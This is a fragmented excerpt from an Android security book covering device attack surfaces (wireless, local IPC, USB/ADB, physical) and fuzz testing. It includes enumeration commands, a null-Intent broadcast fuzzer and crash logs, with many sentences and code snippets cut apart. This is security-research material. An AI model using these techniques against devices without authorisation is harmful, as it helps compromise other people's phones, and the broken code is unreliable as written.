Much of the functionality of the various Bluetooth profiles requires going
through the pairing process
...
Some
devices have hard-coded codes and therefore are easier to attack
...
Possible attacks include
Bluejacking, Bluesnarfing, and Bluebugging
...
The designed functionality provided by
Bluetooth is extensive and provides access to nearly everything that an attacker
might want
...
As such, Bluetooth represents a
rather rich and complicated attack surface to explore further
...
There, drivers interface with the hardware and implement several of the
low-level protocols involved in the various Bluetooth profiles like Logical Link

c05
...
The kernel drivers expose additional functionality to the Android
operating system through various Inter Process Communication (IPC) mechanisms
...
2
when Google switched to Bluedroid
...
Each component represents a part of the overall attack surface
...
android
...
html
...
As newer devices
have been created, they have kept up with the Wi-Fi standards fairly well
...
11g and
802
...
Only a few devices support 802
...
Wi-Fi is primarily used to connect
to LANs, which in turn provide Internet access
...
The
maximum range of a typical Wi-Fi network is about 120 feet, but can easily be
extended through the use of repeaters or directional antennae
...
Other published books, including “Hacking Exposed Wireless,” cover
Wi-Fi in more detail and are recommended if you are interested
...

Wi-Fi networks can be configured without authentication or using several different authentication mechanisms of varying strength
...
Authenticated networks use various encryption
algorithms to secure the wireless communications and thus monitoring without
connecting (or at least having the key) becomes more difficult
...
WEP is broken relatively easily and should
be considered roughly equivalent to no protection at all
...

The Wi-Fi stack on Android is much like the Bluetooth stack
...
Like Bluetooth,
the source code for the Wi-Fi stack is open source
...
indd

01:17:1:PM 02/24/2014

Page 158

Chapter 5 ■ Understanding Android’s Attack Surface

that manage the hardware (the radio) and handle much of the low-level protocols
...
Like Bluetooth,
these components are exposed to untrusted data and thus represent an exposed
attack surface that’s interesting to explore further
...
In doing so, the device increases its
attack surface significantly
...
This increases the
remote attack surface, especially if an attacker is able to connect to the AP hosted
by the Android device
...
Viable generic attacks include rogue hotspots
and MitM attacks
...
Of the wireless technologies supported by Android devices,
NFC has the shortest range, which is typically limited to less than 8 inches
...
First, tags that
are usually in the form of stickers are presented to the device, which then reads
the tag’s data and processes it
...
Second,
two users touch their Android devices together to beam data, such as a photo
...

The Android implementation of NFC is fairly straightforward
...
Kernel drivers speak to the NFC
hardware
...
android
...
In turn, the NFC Service delivers the NFC tag data to Android
apps that have registered to be the recipient of NFC messages
...
All of these supported implementations are very well documented
in the Android SDK under the TagTechnology class
...
android
...
html
...
indd

01:17:1:PM 02/24/2014

Page 159

159

160

Chapter 5 ■ Understanding Android’s Attack Surface

NFC Tag
NFC Tag Data:
(Nodef, MiFare, etc
...
so

NFC Service (com
...
nfc)
libnfc_jni
...
so

Android App

libnfc_ndef
...

NDEF messages can contain any data, but are typically used to transmit text,
phone numbers, contact information, URLs, and images
...

In some cases these operations are performed without any user interaction,
which is especially attractive to an attacker
...
Each of
these operations is an excellent example of an additional attack surface that
lies beneath NFC
...

As demonstrated by Charlie Miller, NFC can be used to automatically set up
connections using other wireless technologies such as Bluetooth and Wi-Fi
Direct
...
Georg Wicherski and Joshua J
...
Also, as mentioned earlier, researchers from MWR Labs utilized

c05
...
These attacks demonstrate that the attack
surface exposed by NFC support on Android can definitely lead to successful
device compromises
...
More specifically, Quick Response
(QR) codes and voice commands could theoretically lead to a compromise
...
Early versions of Google
Glass would process QR codes whenever a picture was taken
...
From there, the device could be attacked
further
...

An attacker sitting next to a Google Glass user can speak commands to the
device to potentially cause it to visit a malicious website that compromises the
device
...


Local Attack Surfaces
When an attacker has achieved arbitrary code execution on a device, the next
logical step is to escalate privileges
...
However, gaining even a small amount of privileges, such as a supplementary group, often
exposes more restricted attack surfaces
...
As
mentioned in Chapter 2, the extensive use of privilege separation means that
several minor escalations might need to be combined in order to achieve the
ultimate goal
...
The privileges required to access these attack surfaces varies depending on how the various endpoints are secured
...


c05
...
These entries include both kernel-space and userspace endpoints
...
Many
user-space components, like privileged services, expose IPC functionality via
sockets in the PF_UNIX family
...
By simply inspecting the entries within the file system you can find these endpoints,
exercise the attack surface below them, and potentially escalate your privileges
...
First and foremost,
each entry has a user and group that is said to own it
...
These permissions specify whether the entry can be
read, written, or executed only by the owning user or group or by any user on
the system
...
For example, an executable that is set-user-id or set-group-id executes with
elevated privileges
...
Types include regular files, directories,
character devices, block devices, First-In-First-Out nodes (FIFOs), symbolic links,
and sockets
...

You can enumerate file system entries easily using the opendir and stat system calls
...
As such, you should enumerate the file
system with root privileges
...
Drake developed a tool called canhazaxs
...
4
...
/canhazaxs -u shell -g \
1003,1004,1007,1009,1011,1015,1028,3001,3002,3003,3006 /dev /data
[*] uid=2000(shell),
groups=2000(shell),1003(graphics),1004(input),1007(log),1009(mount),1011
(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats)
[*] Found 0 entries that are set-uid executable
[*] Found 1 entries that are set-gid executable
directory 2750 system shell /data/misc/adb
[*] Found 62 entries that are writable
[
...
]
chardev 0666 system system /dev/genlock

c05
...
]
socket 0666 root system /dev/socket/pb
[
...
]

The -u and -g options passed to canhazaxs correspond to the user and groups
that should be considered when determining whether the entry is readable,
writable, or executable
...
For each of these directories, canhazaxs recursively enumerates entries in all directories within
...
For each entry,
canhazaxs shows the type, permissions, user, group, and path
...

Finding the code behind each endpoint depends on the type of entry
...
It’s difficult to fi nd
exactly what code operates on any particular regular file or directory
...
rc and related commands have led to the discovery of
privilege escalation vulnerabilities in the past
...
When you find the code, you
can determine the functionality provided by the endpoint
...


Finding Other Local Attack Surfaces
Not all local attack surfaces are exposed via entries in the file system
...
Many services and apps in Android expose attack surfaces
locally through different types of IPC, including sockets and shared memory
...

Apart from things represented by an entry in the file system, the Linux kernel
also processes potentially malicious data when it executes system calls
...
Finding such functions is easily accomplished by searching for
the SYSCALL_DEFINE string within the kernel source code
...
indd

01:17:1:PM 02/24/2014

Page 163

163

164

Chapter 5 ■ Understanding Android’s Attack Surface

Sockets
Software running on Android uses various types of sockets to achieve IPC
...
Sockets are created
using the socket system call
...
The following excerpt from the Linux manual page shows
this system call’s function prototype:
int socket(int domain, int type, int protocol);

The important thing to understand is that creating a socket requires specifying a domain, type, and protocol
...
More detailed
information about these parameters, including supported values for each, can
be found from the Linux manual page for the socket function
...
/busybox wc -l /proc/net/protocols
24 /proc/net/protocols

Each of the entries in this file represents an interesting attack surface to
explore further
...

Common Socket Domains

Most Android devices make extensive use of sockets in the PF_UNIX, PF_INET,
and PF_NETLINK domains
...
Detailed information about the status of instances
of each type of socket can be obtained via entries in the /proc/net directory
as depicted in Table 5-2
...

Many services expose IPC functionality via sockets in this domain, which

c05
...
Because an entry exists in the file system, sockets of
this type will appear when using the methods discussed in the “Exploring the
File System” section earlier in this chapter
...
Several core system
services use sockets in this domain to expose IPC functionality
...

Instead, they are identified only by a string and are usually written in the form
@socketName
...
These types of sockets are created
by specifying a NUL byte as the first character when creating a PF_UNIX socket
...
Because these types of
sockets do not have a file system entry, they cannot be secured in the same
way as traditional PF_UNIX sockets
...

Any application that wants to talk to hosts on the Internet uses PF_INET sockets
...
As
shown earlier, this socket domain includes communications that use TCP and
UDP protocols
...
This is due to Android’s Paranoid Networking feature
that was first discussed in Chapter 2
...

The final common type of socket in Android is the PF_NETLINK socket
...
User-space processes, such as /system/bin/vold, listen for events
that come from the kernel and process them
...
Attack surfaces related to PF_NETLINK
sockets are interesting because they exist in both kernel-space and privileged
user-space processes
...
Unfortunately, this
doesn’t work out of the box on Android devices
...
/busybox netstat -anp | grep /dev/socket/pb
unix 2
[ ]
DGRAM
5361 184/mpdecision
/dev/socket/pb

Using the preceding single command, you are able to discover that /dev/
socket/pb is in use by process ID 184 called mpdecision
...
indd

01:17:1:PM 02/24/2014

Page 165

165

166

Chapter 5 ■ Understanding Android’s Attack Surface

In the event that a properly built BusyBox is not available, you can achieve the
same task using a simple three-step process
...
/busybox head -1 /proc/net/unix
Flags
Type St Inode Path
grep /dev/socket/pb /proc/net/unix
00000000 0002 01 5361 /dev/socket/pb

In this example, you can see the /dev/socket/pb entry inside the special
/proc/net/unix file
...
Using the inode, you can see which
process has an open file descriptor for that socket:
root@mako:/data/local/tmp #
...
]
lrwx-----1 root
root
64 Jan 2 22:03 /proc/184/fd/7 ->
socket:[5361]

Sometimes this command shows that more than one process is using the socket
...
With
the process ID in hand, it’s simple to find more information about the process:
root@mako:/data/local/tmp # ps 184
USER
PID
PPID VSIZE RSS
WCHAN
PC
NAME
root
184
1
7208
492
ffffffff b6ea0908 S /system/bin/mpdecision

Regardless of whether you use the BusyBox method or the three-step method,
you now know where to start looking
...
The kernel-space code that implements various
types of sockets might allow privilege escalation
...

These attack surfaces represent an interesting place to look for security issues
...


Binder
The Binder driver, as well as software that relies on it, presents an attack surface
that is unique to Android
...
The driver itself is
implemented in kernel-space and exposes an attack surface via the /dev/binder
character device
...
Although sending Intents

c05
...
Because of the many ways Binder can
be used, researching deeper attack surfaces might ultimately lead to achieving
privilege escalation
...
As with many things in Android,
whether a particular facility is supported varies from one device to the next
...
You can
find out which processes are communicating using ashmem by looking at the
open file descriptors in the /proc file system:
root@mako:/data/local/tmp #
...
/busybox awk -F/ ‘{print $3}’ |
...
]
176
31897
31915
596
686
856

In addition to ashmem, other shared memory facilities—for example, Google’s
pmem, Nvidia’s NvMap, and ION—exist on only a subset of Android devices
...


Baseband Interface
Android smartphones contain a second operating system known as the baseband
...
In others, it runs in an isolated environment on a dedicated
CPU core
...
The exposed endpoint,
which varies from one device to the next, is considered an attack surface of the
baseband itself
...
It’s possible to determine exactly how the
baseband is exposed by looking at the rild process
...


c05
...
Examples
include GPS transceivers, ambient light sensors, and gyroscopes
...
These APIs represent an interesting attack
surface because data passed to them might be processed by privileged services
or even the peripheral itself
...
Because of the layers between the API and
the peripherals, the exposed API attack surface serves as an excellent example
of how deeper attack surfaces lie beneath more shallow ones
...


Physical Attack Surfaces
Attacks that require physically touching a device are said to lie within the physical
attack surface
...
Attacking a mobile device using
physical access may seem less exotic and easier than other attacks
...
Consequently, you
might feel compelled to categorize these attacks as low severity
...

Over the past few years, researchers discovered several real-world attacks
that take advantage of the physical attack surface
...

Additionally, forensic examiners rely heavily on the physical attack surface
to either recover data or surreptitiously gain access to a phone
...
After it was installed, the malware would attempt to attack host
computers when the infected mobile devices were connected to them
...
Physical attacks
aren’t as contrived as you might’ve first thought!
In order to further classify this category, we consider several criteria
...
Taking a device
apart is not desirable because it carries a risk of causing damage
...
Next, we examine the
possibilities that do not require disassembling the device
...
indd

01:17:1:PM 02/24/2014

Page 168

Chapter 5 ■ Understanding Android’s Attack Surface

(usually microSD) slots
...


Dismantling Devices
Disassembling a target device enables attacks against the very hardware that
powers it
...
Because probing
the attack surface exposed by dismantling an Android device requires niche
skills and/or specialized hardware, manufacturers typically do not adequately
protect the hardware
...
Opening a
hardware device often reveals:


Exposed serial ports, which allow for receiving debug messages or, in
some cases, providing shell access to the device



Exposed JTAG debug ports, which enable debugging, flashing, or accessing the firmware of a device

In the rare event that an attacker does not find these common interfaces, other
attacks are still possible
...

Once removed, an attacker can easily read the boot loader, boot configuration,
and full flash file-system off of the device
...

Fortunately for you, this book does not just mention these things generally as
many other books have
...
We will not delve into these physical attacks
much further in this chapter
...
Although iPhones have proprietary Apple connectors, most Android
devices have standard micro USB ports
...

Much of this functionality depends on the device being in a particular mode
or having certain settings enabled in the device’s configuration
...
Not all devices support all modes
...
indd

01:17:1:PM 02/24/2014

Page 169

169

170

Chapter 5 ■ Understanding Android’s Attack Surface

default
...
Further, some devices have a menu
that enables you select which mode to enter after the USB device is connected
...


Figure 5-7: HTC One V USB Mode Menu

The exact attack surfaces exposed depends on which mode the device is in or
which features are enabled
...
On top of those drivers, additional software
handles communicating using the protocols specific to each particular type of
functionality
...
0, many devices use mass storage mode by
default
...
Android 4
...
It was clunky and required unmounting the /sdcard
partition from the device while the host machine was accessing it
...


Enumerating USB Attack Surfaces
In literature, a USB device is often referred to as a function
...
In reality, a single USB

c05
...
Each USB device has one or more
configurations, which in turn have at least one interface
...
Data flows to or from an endpoint only in one direction
...

Tools like lsusb and the libusb library enable us to further enumerate the
attack surface exposed by a USB device from the host to which it is connected
...
The following excerpt shows the interface
and endpoints for ADB on an HTC One X+:
dev:~# lsusb -v -d 0bb4:0dfc
Bus 001 Device 067: ID 0bb4:0dfc High Tech Computer Corp
...
]
idVendor
0x0bb4 High Tech Computer Corp
...
32
iManufacturer
2 HTC
iProduct
3 Android Phone
[
...
]
bNumInterfaces
3
[
...
]
bNumEndpoints
2
bInterfaceClass
255 Vendor Specific Class
bInterfaceSubClass
66
bInterfaceProtocol
1
iInterface
0
Endpoint Descriptor:
bLength
7
bDescriptorType
5
bEndpointAddress
0x83 EP 3 IN
bmAttributes
2
Transfer Type
Bulk
Synch Type
None
Usage Type
Data
[
...
indd

01:17:1:PM 02/24/2014

Page 171

171

172

Chapter 5 ■ Understanding Android’s Attack Surface
bEndpointAddress
bmAttributes
Transfer Type
Synch Type
Usage Type

0x03
2

EP 3 OUT
Bulk
None
Data

[
...

Android devices support multiple functions simultaneously on a single USB
port
...
On a device, you can often find more
information about supported USB modes from the init configuration files
...
mako
...
rc that details all the
possible mode combinations along with their associated vendor and product
ids
...
usb
...
usb
...
usb
...
usb
...
In addition to stopping the ADB daemon, init
also reconfigures the Gadget Framework through /sys/class/android_usb
...
The following excerpt shows
the various modes Android supports within the frameworks/base project:
dev:~/android/source/frameworks/base$ git grep USB_FUNCTION_
core/java/android/hardware/usb/UsbManager
...
java:59:
*
  • {@link
    #USB_FUNCTION_ADB} boolean extra indicating whether the
    core/java/android/hardware/usb/UsbManager
    ...
    java:63:
    *
  • {@link
    #USB_FUNCTION_MTP} boolean extra indicating whether the
    core/java/android/hardware/usb/UsbManager
    ...
    java:67:
    *
  • {@link

    c05
    ...
    java:69:
    *
  • {@link
    #USB_FUNCTION_AUDIO_SOURCE} boolean extra indicating whether the

    Digging deeper into the set of attack surfaces exposed over USB depends
    on the precise functionality and protocols supported by the various interfaces
    ...


    ADB
    Android devices that are used for development often have USB debugging
    enabled
    ...
    On many devices, especially those running versions of Android before 4
    ...
    2, no authentication is required to access
    the ADB shell
    ...
    27
    ...
    11
    exposed ADB with no authentication by default and did not allow disabling it
    ...

    Researchers such as Kyle Osborn, Robert Rowley, and Michael Müller demonstrated several different attacks that leveraged ADB access to a device
    ...
    In these
    attacks, an attacker creates a charging station that can surreptitiously download a victim’s data or potentially install malicious software on their device
    ...
    Kyle Osborn, and later Michael Müller, created
    tools to download a victim’s data using ADB
    ...
    In this attack, the attacker connects her device to the
    victim’s device when the victim leaves it unattended
    ...
    Thankfully, later versions of Android added authentication by default
    for ADB
    ...


    Other Physical Attack Surfaces
    Although USB is the most ubiquitous physical attack surface exposed on Android
    devices, it is not the only one
    ...
    Android contains support for all of these interfaces by way of various types
    of software range from kernel drivers to Android Framework APIs
    ...
    indd

    01:17:1:PM 02/24/2014

    Page 173

    173

    174

    Chapter 5 ■ Understanding Android’s Attack Surface

    the attack surfaces beneath these interfaces is beyond the scope of this chapter
    and is left as an exercise to the interested reader
    ...
    In particular, OEMs tend to make extensive changes as part of their integration process
    ...

    For example, many OEMs bundle particular applications in their builds, such
    as productivity tools
    ...
    All of these
    third-party modifications can, and often do, increase the attack surface of a
    given device
    ...
    The general process involves comparing a live device
    against a Nexus device
    ...
    Comparing output
    from the ps command and file system contents between the two devices will
    show many of the differences
    ...

    Examining changes to the Android Framework itself will require specialized
    tools for dealing with Dalvik code
    ...


    Summary
    This chapter explored all of the various ways that Android devices can be
    attacked
    ...

    By breaking Android’s attack surfaces into four high-level categories based
    on access complexities, this chapter drilled deeper into the underlying attack
    surfaces
    ...

    This chapter also discussed known attacks and introduced tools and techniques
    that you can use to explore Android’s attack surface further
    ...

    Because of the sheer size of the Android code base, it is impossible to exhaustively examine Android’s entire attack surface in this chapter
    ...
    indd

    01:17:1:PM 02/24/2014

    Page 174

    Chapter 5 ■ Understanding Android’s Attack Surface

    encourage you to apply and extend the methods presented in this chapter to
    explore further
    ...
    It shows how you can find vulnerabilities
    by applying a testing methodology known as fuzzing
    ...
    indd

    01:17:1:PM 02/24/2014

    Page 175

    175

    CHAPTER

    6
    Finding Vulnerabilities with Fuzz
    Testing

    Fuzz testing, or fuzzing for short, is a method for testing software input validation
    by feeding it intentionally malformed input
    ...
    It introduces you to the origins of fuzzing and explains the nuances
    of various associated tasks
    ...
    The chapter introduces you to the
    particulars of fuzzing on Android devices
    ...
    These serve as examples of just how easy it is to
    find bugs and security vulnerabilities with fuzzing
    ...


    Fuzzing Background
    Fuzz testing has a long history and has been proven effective for finding bugs
    ...
    It started as a class project to test various UNIX
    system utilities for faults
    ...
    In fact, several prominent security researchers have

    177

    c06
    ...
    This simple technique has led to
    the discovery of numerous bugs in the past, many of which are security bugs
    ...
    Processing a large number of varied inputs causes
    branch conditions to be evaluated
    ...
    Reaching more paths means a
    higher likelihood to discover bugs
    ...
    Perhaps the most attractive property of fuzz testing is its automated
    nature
    ...
    Further, developing
    a simple fuzzer requires minimal time investment, especially when compared
    with manual binary or source code review
    ...
    Also, fuzzing finds
    bugs that are overlooked during manual review
    ...

    Despite its advantages, fuzz testing is not without drawbacks
    ...
    Classifying an issue as a security issue requires
    further analysis on the part of the researcher and is covered further in Chapter
    7
    ...
    Consider fuzzing a 16-byte
    input, which is tiny in comparison to most common file formats
    ...
    Testing this enormous set of
    possible inputs is completely infeasible with modern technology
    ...
    One
    such example is memory corruption that occurs inside an unimportant buffer
    ...

    Compared to the larger information security community, fuzzing has received
    relatively little attention within the Android ecosystem
    ...
    Only a handful of researchers have publicly presented
    on the topic
    ...
    Further, none of the fuzzing frameworks that
    exist at the time of this writing address Android directly
    ...

    In order to successfully fuzz a target application, four tasks must be
    accomplished:


    Identifying a target



    Generating inputs



    Test-case delivery



    Crash monitoring

    c06
    ...
    The remaining three tasks are highly
    dependent on the first
    ...
    Then the crafted inputs must be delivered to the target
    software depending on the chosen attack vector and attack surface
    ...
    We discuss these four tasks in further detail in the following sections:
    “Identifying a Target,” “Crafting Malformed Inputs,” “Processing Inputs,” and
    “Monitoring Results
    ...
    Although a
    random choice often suffices when pressed for time, careful selection involves
    taking into account many different considerations
    ...
    A familiar,
    complex program with an easy-to-reach attack surface is the ideal target for
    fuzzing
    ...
    The level
    of effort invested into selecting a target is ultimately up to the researcher, but
    at a minimum attack vectors and attack surface should be considered
    ...


    Crafting Malformed Inputs
    Generating inputs is the part of the fuzzing process that has the most variations
    ...

    Researchers use several different types of fuzzing to find bugs in such a vast
    input space
    ...
    Each type of fuzzing has its own pros and
    cons and tends to yield different results
    ...

    The most popular type of fuzzing is called dumb-fuzzing
    ...
    This offers quick development time because it does not require a deep
    understanding of the input data
    ...
    Essentially,
    much of the research costs are simply delayed until after potential security issues
    are found
    ...
    The most common
    mutation involves changing random bytes in the input data to random values
    ...
    indd 01:19:0:PM 02/24/2014 Page 179

    179

    180

    Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing

    Surprisingly, mutation-based dumb-fuzzing has uncovered an extremely large
    number of bugs
    ...

    Smart-fuzzing is another popular type of fuzz testing
    ...
    The amount
    of intelligence applied varies from case to case, but understanding the input’s
    data format is paramount
    ...
    For
    example, learning the code structure of a parser can immensely improve code
    coverage while eliminating unnecessarily traversing uninteresting code paths
    ...
    Arguably,
    a smart-fuzzer is more likely to discover security bugs than a dumb-fuzzer,
    especially for more mature targets that stand up to a dumb-fuzzer
    ...
    Combining these two approaches has the potential to generate inputs
    that would not be generated with either of the approaches alone
    ...
    A good example of this is replacing one or several HTML
    nodes in a DOM tree with a generated subtree
    ...

    Regardless of the type of fuzzing, researchers use a variety of techniques
    to increase effectiveness when generating inputs
    ...
    Another technique
    involves focusing mutation efforts on input data that is likely to cause issues and
    avoiding those that aren’t
    ...
    Also, context-dependent
    length values may need to be adjusted to pass sanity checks within the target
    software
    ...
    These are all things a fuzzer developer
    must consider when generating inputs to find security bugs
    ...
    After all, not processing inputs means not exercising the target
    code, and that means not finding bugs
    ...
    The goal is simply to automatically
    and repeatedly deliver crafted inputs to the target software
    ...

    Fuzzing a socket-based service requires sending packets, potentially requiring
    session setup and teardown
    ...
    Looking for client-side vulnerabilities may even

    c06
    ...
    These
    are just a few examples
    ...
    Many more attack patterns exist, each
    with their own input processing considerations
    ...
    Some fuzzers fully simulate an attack by delivering
    each input just as an attacker would
    ...
    Some fuzzers aim
    to avoid writing to slow persistent storage, instead opting to remain memory
    resident only
    ...
    Fuzzing at lower levels adds assumptions and may yield false positives
    that aren’t reproducible when delivered in an attack simulation
    ...


    Monitoring Results
    The fourth task in conducting effective fuzz testing is monitoring test results
    ...
    A single test could elicit a variety
    of possible outcomes
    ...
    Not
    anticipating and properly handling bad behavior can cause your fuzzer to stop
    running, thereby taking away from the ability to run it without you present
    ...

    Like input crafting and processing, many different monitoring options are
    available
    ...
    Services often stop responding or close the connection when they
    crash during fuzzing
    ...
    You can employ a debugger to obtain granular information—such as
    register values—when crashes occur
    ...
    API hooking is also
    useful, especially when fuzzing for non-memory-corruption vulnerabilities
    ...


    Fuzzing on Android
    Fuzz testing on Android devices is much like fuzzing on other Linux systems
    ...
    Because the operating system
    handles process isolation, there is relatively little risk that fuzzing a particular

    c06
    ...
    These facilities also
    offer opportunities to create advanced fuzzers with integrated debuggers and
    more
    ...

    Fuzzing, and software testing in general, is a complex subject
    ...
    On Android, the level of complexity is heightened by facilities not
    present on regular Linux systems
    ...
    Also, Android’s application of the principle of least privilege
    leads to various programs depending on each other
    ...
    Further still,
    dependencies on functionality implemented in the underlying hardware, such
    as video decoding, can cause the system to lock-up or programs to malfunction
    ...
    These problems
    must be accounted for when developing a robust fuzzer
    ...
    Most devices that run Android are
    significantly slower than traditional x86 machines
    ...
    Although
    a sufficiently robust and automated fuzzer runs well unattended, decreased
    performance limits efficiency
    ...
    The only channels available on most Android devices are USB and
    Wi-Fi
    ...

    None of these mechanisms perform particularly well when transferring files
    or issuing commands regularly
    ...

    Due to these issues, it is beneficial to minimize the amount of data transferred
    back and forth from the device
    ...
    As mentioned previously, physical devices
    often run a build of Android that has been customized by the original equipment
    manufacturer (OEM)
    ...
    Even without
    changes, physical devices have code that is simply not present on an emulator
    image, such as drivers for peripherals, proprietary software, and so on
    ...


    c06
    ...
    This is true for both third-party applications
    and official Android components
    ...
    This technique
    materialized by way of iSEC Partners’ IntentFuzzer application, released circa
    2010
    ...


    Identifying a Target
    First, you need to identify which Broadcast Receivers are registered, which you
    can do either for a single target application or system wide
    ...
    getInstalledPackages(PackageManager
    ...
    GET_RECEIVERS) {
    PackageItemInfo items[] = null;
    if (items != null)
    for(PackageItemInfo pii : items)
    found
    ...
    packageName, pii
    ...
    Next,
    getInstalledPackages is called, filtering only for enabled Broadcast Receivers,
    and the package name and component name are stored in the found array
    ...

    The following excerpt lists broadcast receivers system wide and for the single
    application com
    ...
    androidapplication
    ...
    mobile
    ...
    indd 01:19:0:PM 02/24/2014 Page 183

    183

    184

    Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing
    dz> run app
    ...
    info
    Package: android
    Receiver: com
    ...
    server
    ...
    android
    ...
    MasterClearReceiver
    Permission: android
    ...
    MASTER_CLEAR
    Package: com
    ...
    kindle
    Receiver: com
    ...
    kcp
    ...
    MarketReferralTracker
    Permission: null
    Receiver: com
    ...
    kcp
    ...
    CampaignWebView
    Permission: null
    Receiver: com
    ...
    kindle
    ...
    amazon
    ...
    reader
    ...
    StandaloneDefinitionContainerModule
    Permission: null

    ...
    broadcast
    ...
    yougetitback
    ...
    virgin
    ...
    yougetitback
    ...
    virgin
    ...
    yougetitback
    ...
    settings
    ...
    Entranc
    ...
    permission
    ...
    yougetitback
    ...
    MyStartupIntentReceiver
    Permission: null
    Receiver: com
    ...
    androidapplication
    ...
    yougetitback
    ...
    IdleTimeout
    Permission: null
    Receiver: com
    ...
    androidapplication
    ...


    Generating Inputs
    Understanding what a given input, like an Intent receiver, expects or can consume typically requires having a base test case or analyzing the receiver itself
    ...
    However, given the nature of IPC on
    Android, you can hit the ground running without investing a great deal of time
    ...
    Consider the following code snippet,
    also based on IntentFuzzer:
    protected int fuzzBR(List comps) {
    int count = 0;
    for (int i = 0; i < comps
    ...
    setComponent(comps
    ...


    c06
    ...
    On each iteration, an Intent object is created
    and setComponent is called, which sets the explicit destination component of
    the Intent
    ...
    The following code excerpt
    implements the algorithm, expanding upon the previously listed snippet
    ...
    size(); i++) {
    Intent in = new Intent();
    in
    ...
    get(i));
    sendBroadcast(in);
    count++;
    }
    return count;
    }

    Alternatively, you can use the am broadcast command to achieve the same
    effect
    ...
    yougetitback
    ...
    virgin
    ...
    yougetitback
    ...
    SmsIntentReceiver

    You execute the command, passing the target application and component, in
    this case the Broadcast Receiver, as the parameter to the -n option
    ...
    Using this technique is preferred
    when performing quick manual testing
    ...


    Monitoring Testing
    Android also provides quite a few facilities for monitoring your fuzzing run
    ...
    These faults will
    most likely manifest in the form of an unhandled exception Java-style, such as
    a NullPointerException
    ...
    It also doesn’t handle exceptions
    particularly well
    ...
    lang
    ...
    yougetitback
    ...
    SmsIntentReceiver:
    java
    ...
    NullPointerException

    c06
    ...
    app
    ...
    handleReceiver(ActivityThread
    ...
    app
    ...
    access$1500(ActivityThread
    ...
    app
    ...
    handleMessage(ActivityThread
    ...
    os
    ...
    dispatchMessage(Handler
    ...
    os
    ...
    loop(Looper
    ...
    app
    ...
    main(ActivityThread
    ...
    lang
    ...
    Method
    ...
    lang
    ...
    Method
    ...
    java:511)
    E/AndroidRuntime( 568):
    at
    com
    ...
    internal
    ...
    ZygoteInit$MethodAndArgsCaller
    ...

    java:786)
    E/AndroidRuntime( 568):
    at
    com
    ...
    internal
    ...
    ZygoteInit
    ...
    java:553)
    E/AndroidRuntime( 568):
    at
    dalvik
    ...
    NativeStart
    ...
    lang
    ...
    yougetitback
    ...
    SmsIntentReceiver
    ...
    java:1150)
    E/AndroidRuntime( 568):
    at
    android
    ...
    ActivityThread
    ...
    java:2229)
    E/AndroidRuntime( 568):

    ...
    On a Nexus S, we applied our approach to the
    PhoneApp$NotificationBroadcastReceiver receiver, which is a component of
    the com
    ...
    phone package
    ...

    E/AndroidRuntime( 5605): java
    ...
    RuntimeException: Unable to start
    receiver com
    ...
    phone
    ...
    lang
    ...
    app
    ...
    handleReceiver(ActivityThread
    ...

    W/ActivityManager( 249): Process com
    ...
    phone has crashed too many
    times: killing!
    I/Process ( 5605): Sending signal
    ...
    indd 01:19:0:PM 02/24/2014 Page 186

    Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing
    I/ServiceManager(
    81): service 'sip' died
    I/ServiceManager(
    81): service 'phone' died
    I/ActivityManager( 249): Process com
    ...
    phone (pid 5605) has died
    ...
    android
    ...
    TelephonyDebugService in 1250ms
    W/ActivityManager( 249): Scheduling restart of crashed service
    com
    ...
    phone/
    ...
    android
    ...
    android
    ...


    Here you see the receiver raising a NullPointerException
    ...
    android
    ...
    The result is the death of services like sip, phone, isms,
    associated Content Providers that handle things like SMS messages, and more
    ...


    Figure 6-1: Force Close dialog from com
    ...
    phone

    Though not particularly glamorous, a quick null Intent fuzzing run effectively
    discovered a fairly simple way to crash the phone application
    ...
    Shortly after, rild receives a SIGFPE signal
    ...
    This actually results
    in a crash dump, which is written to the log and to a tombstone file
    ...

    *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
    Build fingerprint:
    'google/soju/crespo:4
    ...
    2/JZO54K/485486:user/release-keys'
    pid: 5470, tid: 5476, name: rild >>> /system/bin/rild <<<
    signal 8 (SIGFPE), code -6 (?), fault addr 0000155e
    r0 00000000 r1 00000008 r2 00000001 r3 0000000a
    r4 402714d4 r5 420973f8 r6 0002e1c6 r7 00000025
    r8 00000000 r9 00000000 sl 00000002 fp 00000000
    ip fffd405c sp 40773cb0 lr 40108ac0 pc 40106cc8 cpsr 20000010

    ...
    indd 01:19:0:PM 02/24/2014 Page 187

    187

    188

    Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing
    #00
    #01
    #02

    pc 0000dcc8
    pc 0000fabc
    pc 0000fabc

    /system/lib/libc
    ...
    so (__aeabi_ldiv0+8)
    /system/lib/libc
    ...


    By looking at the back trace from this crash report, you can see the fault had
    something to do with the ldiv0 function in libc
    ...
    The relationship between rild and the com
    ...
    phone
    application may be apparent to those more familiar with Android—and is discussed in greater detail in Chapter 11
    ...
    Although null Intent fuzzing may not lead to the
    discovery of many exploitable bugs, it’s a good go-to for finding endpoints with
    weak input validation
    ...


    Fuzzing Chrome for Android
    The Android Browser is an attractive fuzz target for many reasons
    ...
    Also, the Android
    browser is composed of Java, JNI, C++, and C
    ...

    Perhaps due to its complexity, many vulnerabilities have been found in browser
    engines
    ...
    It’s easy to get started fuzzing the browser since very few external
    dependencies exist; only a working Android Debug Bridge (ADB) environment is needed to get started
    ...
    Most important, as discussed in Chapter 5, the web browser exposes an
    absolutely astonishing amount of attack surface through all of the technologies
    that it supports
    ...
    This fuzzer
    targets the main rendering engine within the Chrome for Android browser,
    which is one of the underlying dependency libraries
    ...

    Next this section explains how we selected which technology to fuzz, generated
    inputs, delivered them for processing, and monitored the system for crashes
    ...
    The complete code is
    included with the materials on the book’s website
    ...
    The huge number of supported technologies makes it

    c06
    ...
    Even if you
    developed such a fuzzer, it would be unlikely to obtain an acceptable level of
    code coverage
    ...
    Exempli gratia, concentrate on fuzzing SVG or XSLT alone, or perhaps
    focus on the interaction between two technologies like JavaScript and HTML
    ...
    A good target is one that seemingly contains
    the most features and is less likely to have already been audited by others
    ...
    Another thing to consider when choosing a browser
    technology is the amount of documentation
    ...

    Before selecting a technology, gather as much information as possible about
    what technologies are supported
    ...
    org/ and http://caniuse
    ...
    Finally, the ultimate resource is the source code itself
    ...

    It’s also worthwhile to research the technology in depth or review past bugs or
    vulnerabilities discovered in the target code or similar code
    ...

